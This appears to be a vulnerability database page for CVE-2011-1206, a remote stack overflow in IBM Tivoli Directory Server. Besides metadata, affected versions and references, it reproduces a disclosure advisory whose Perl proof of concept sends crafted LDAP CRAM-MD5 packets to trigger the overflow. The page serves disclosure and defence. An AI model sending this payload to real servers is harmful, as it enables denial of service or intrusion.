CVE-2011-1206 : Detail

CVE-2011-1206

Overflow
59.33%V4
Network
2011-04-21
08h00 +00:00
2017-08-16
12h57 +00:00
CVE.org
NVD
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CVE Descriptions

Stack-based buffer overflow in the server process in ibmslapd.exe in IBM Tivoli Directory Server (TDS) 5.2 before 5.2.0.5-TIV-ITDS-IF0010, 6.0 before 6.0.0.67 (aka 6.0.0.8-TIV-ITDS-IF0009), 6.1 before 6.1.0.40 (aka 6.1.0.5-TIV-ITDS-IF0003), 6.2 before 6.2.0.16 (aka 6.2.0.3-TIV-ITDS-IF0002), and 6.3 before 6.3.0.3 (aka 6.3.0.0-TIV-ITDS-IF0003) allows remote attackers to execute arbitrary code via a crafted LDAP request. NOTE: some of these details are obtained from third party information.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 17188

Publication date : 2011-04-18 22h00 +00:00
Author : Francis Provencher
EDB Verified : Yes

Source: http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=26&Itemid=26 ##################################################################################### Application: IBM Tivoli Directory Server SASL Bind Request Remote Code Execution Vulnerability Platforms: Windows Exploitation: Remote code execution CVE Number: CVE-2011-1206 ZDI number: ZDI-11-136 {PRL}: 2011-06 Author: Francis Provencher (Protek Research Lab's) WebSite: http://www.protekresearchlab.com/ Twitter: @ProtekResearch ##################################################################################### 1) Introduction 2) Report Timeline 3) Technical details 4) POC ##################################################################################### =============== 1) Introduction =============== IBM Tivoli Directory Server (ITDS), formerly known as IBM Directory Server, is an IBM implementation of the Lightweight Directory Access Protocol, and is part of the IBM Tivoli Identity & Access Management portfolio. IBM Tivoli Directory Server is a powerful, security-rich and standards-compliant enterprise directory for corporate intranets and the Internet. Directory Server is built to serve as the identity data foundation for rapid development and deployment of Web applications and security and identity management initiatives by including strong management, replication and security features.Several authentication methods are available with IBM Tivoli Directory Server, beyond basic usernames and passwords. ITDS supports digital certificate-based authentication, the Simple Authentication and Security Layer (SASL), Challenge-Response Authentication Mechanism MD5 (CRAM-MD5), and Kerberos authentication.IBM Tivoli Directory Server is a powerful LDAP infrastructure that provides a foundation for deploying comprehensive identity management applications and advanced software architectures. (http://en.wikipedia.org/wiki/IBM_Tivoli_Directory_Server) ##################################################################################### ============================ 2) Report Timeline ============================ 2011-02-17 - Vulnerability reported to vendor 2011-04-18 - Coordinated public release of advisory ##################################################################################### ==================== 3) Technical details ==================== This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of IBM Tivoli Directory Server. Authentication is not required to exploit this vulnerability. The specific flaw exists in how ibmslapd.exe handles LDAP CRAM-MD5 packets. ibmslapd.exe listens by default on port TCP 389. When the process receives an LDAP CRAM-MD5 packet, it uses libibmldap.dll to handle the allocation of a buffer for the packet data. A specially crafted packet can cause the ber_get_int function to allocate a buffer that is too small to fit the packet data, causing a subsequent stack-based buffer overflow. This can be leveraged by a remote attacker to execute arbitrary code under the context of the SYSTEM user. ##################################################################################### =========== 4) POC =========== #!/usr/bin/perl use strict; use warnings; use Getopt::Std; use IO::Socket::INET; $SIG{INT} = \&abort; my $host = '192.168.100.24'; my $port = 389; my $proto = 'tcp'; my $sockType = SOCK_STREAM; my $timeout = 1; my %opt; my $opt_string = 'hH:P:t:'; getopts( "$opt_string", \%opt ); if (defined $opt{h}) { usage() } $host = $opt{H} ? $opt{H} : $host; $port = $opt{P} ? $opt{P} : $port; $timeout = $opt{t} ? $opt{t} : $timeout; my @commands = ( {Command => 'Send', Data => "\x30\x18\x02\x01\x01\x60\x13\x02\x01\x03\x04\x00\xA3\x0C\x04\x08\x43\x52\x41\x4D\x2D\x4D\x44\x35\x04\x00"}, {Command => 'Receive'}, {Command => 'Send', Data => "\x30\x82\x01\x41\x02\x01\x02\x60\x82\x01\x3A\x02\x01\x03\x04\x00\xA3\x82\x01\x31\x04\x08\x43\x52\x41\x4D\x2D\x4D\x44\x35\x04\x84\xFF\xFF\xFF\xFF\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x20\x36\x61\x37\x61\x31\x31\x34\x39\x36\x30\x33\x61\x64\x37\x64\x30\x33\x34\x39\x35\x66\x39\x65\x37\x31\x34\x66\x34\x30\x66\x31\x63"}, {Command => 'Receive'}, ); my $sock = new IO::Socket::INET ( PeerAddr => $host, PeerPort => $port, Proto => $proto, Type => $sockType, Timeout => $timeout, ) or die "socket error: $!\n\n"; print "connected to: $host:$port\n"; $sock->autoflush(1); binmode $sock; foreach my $command (@commands) { if ($command->{'Command'} eq 'Receive') { my $buf = receive($sock, $timeout); if (length $buf) { print "received: [$buf]\n"; } } elsif ($command->{'Command'} eq 'Send') { print "sending: [".$command->{'Data'}."]\n"; send ($sock, $command->{'Data'}, 0) or die "send failed, reason: $!\n"; } } close ($sock); sub receive { my $sock = shift; my $timeout = shift; my $tmpbuf; my $buf = ""; while(1) { eval { local $SIG{ALRM} = sub { die "timeout\n" }; alarm $timeout; my $ret = read $sock, $tmpbuf, 1; if ( !defined $ret or $ret == 0 ) { die "timeout\n"; } alarm 0; $buf .= $tmpbuf; }; if ($@) { if($@ eq "timeout\n") { last; } else { die "receive aborted\n"; } } } return $buf; } sub abort { print "...\n"; if ($sock) { close $sock; } die "...\n"; } sub usage

Products Mentioned

Configuraton 0

Ibm>>Tivoli_directory_server >> Version 5.2.0

Ibm>>Tivoli_directory_server >> Version 5.2.0.4

    Configuraton 0

    Ibm>>Tivoli_directory_server >> Version 6.0

    Ibm>>Tivoli_directory_server >> Version 6.0.0.0

      Ibm>>Tivoli_directory_server >> Version 6.0.0.1

        Ibm>>Tivoli_directory_server >> Version 6.0.0.7

        Ibm>>Tivoli_directory_server >> Version 6.0.0.8

        Ibm>>Tivoli_directory_server >> Version 6.0.0.14

          Ibm>>Tivoli_directory_server >> Version 6.0.0.19

            Ibm>>Tivoli_directory_server >> Version 6.0.0.33

              Ibm>>Tivoli_directory_server >> Version 6.0.0.41

                Ibm>>Tivoli_directory_server >> Version 6.0.0.45

                  Ibm>>Tivoli_directory_server >> Version 6.0.0.52

                    Ibm>>Tivoli_directory_server >> Version 6.0.0.53

                      Ibm>>Tivoli_directory_server >> Version 6.0.0.54

                        Ibm>>Tivoli_directory_server >> Version 6.0.0.55

                          Ibm>>Tivoli_directory_server >> Version 6.0.0.56

                            Ibm>>Tivoli_directory_server >> Version 6.0.0.57

                              Ibm>>Tivoli_directory_server >> Version 6.0.0.58

                                Ibm>>Tivoli_directory_server >> Version 6.0.0.59

                                  Ibm>>Tivoli_directory_server >> Version 6.0.0.60

                                    Ibm>>Tivoli_directory_server >> Version 6.0.0.61

                                      Ibm>>Tivoli_directory_server >> Version 6.0.0.62

                                        Ibm>>Tivoli_directory_server >> Version 6.0.0.63

                                          Ibm>>Tivoli_directory_server >> Version 6.0.0.64

                                            Ibm>>Tivoli_directory_server >> Version 6.0.0.65

                                              Ibm>>Tivoli_directory_server >> Version 6.0.0.66

                                                Configuraton 0

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.0

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.1

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.2

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.3

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.4

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.5

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.6

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.7

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.8

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.9

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.10

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.11

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.12

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.13

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.14

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.15

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.17

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.18

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.19

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.20

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.21

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.22

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.23

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.24

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.25

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.26

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.27

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.28

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.29

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.30

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.31

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.32

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.33

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.34

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.35

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.36

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.37

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.38

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.39

                                                Configuraton 0

                                                Ibm>>Tivoli_directory_server >> Version 6.2.0.0

                                                Ibm>>Tivoli_directory_server >> Version 6.2.0.1

                                                Ibm>>Tivoli_directory_server >> Version 6.2.0.2

                                                Ibm>>Tivoli_directory_server >> Version 6.2.0.3

                                                Ibm>>Tivoli_directory_server >> Version 6.2.0.4

                                                Ibm>>Tivoli_directory_server >> Version 6.2.0.5

                                                Ibm>>Tivoli_directory_server >> Version 6.2.0.6

                                                Ibm>>Tivoli_directory_server >> Version 6.2.0.7

                                                Ibm>>Tivoli_directory_server >> Version 6.2.0.8

                                                Ibm>>Tivoli_directory_server >> Version 6.2.0.10

                                                Ibm>>Tivoli_directory_server >> Version 6.2.0.11

                                                Ibm>>Tivoli_directory_server >> Version 6.2.0.12

                                                Ibm>>Tivoli_directory_server >> Version 6.2.0.13

                                                Ibm>>Tivoli_directory_server >> Version 6.2.0.14

                                                Ibm>>Tivoli_directory_server >> Version 6.2.0.15

                                                Configuraton 0

                                                Ibm>>Tivoli_directory_server >> Version 6.3.0.0

                                                Ibm>>Tivoli_directory_server >> Version 6.3.0.1

                                                Ibm>>Tivoli_directory_server >> Version 6.3.0.2

                                                References

                                                http://secunia.com/advisories/44184
                                                Tags : third-party-advisory, x_refsource_SECUNIA
                                                http://www.ibm.com/support/docview.wss?uid=swg1IO14013
                                                Tags : vendor-advisory, x_refsource_AIXAPAR
                                                http://www.ibm.com/support/docview.wss?uid=swg1IO14045
                                                Tags : vendor-advisory, x_refsource_AIXAPAR
                                                http://www.ibm.com/support/docview.wss?uid=swg1IO14010
                                                Tags : vendor-advisory, x_refsource_AIXAPAR
                                                http://securitytracker.com/id?1025358
                                                Tags : vdb-entry, x_refsource_SECTRACK
                                                http://securityreason.com/securityalert/8213
                                                Tags : third-party-advisory, x_refsource_SREASON
                                                http://www.ibm.com/support/docview.wss?uid=swg1IO14046
                                                Tags : vendor-advisory, x_refsource_AIXAPAR
                                                http://www.ibm.com/support/docview.wss?uid=swg1IO14009
                                                Tags : vendor-advisory, x_refsource_AIXAPAR
                                                The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.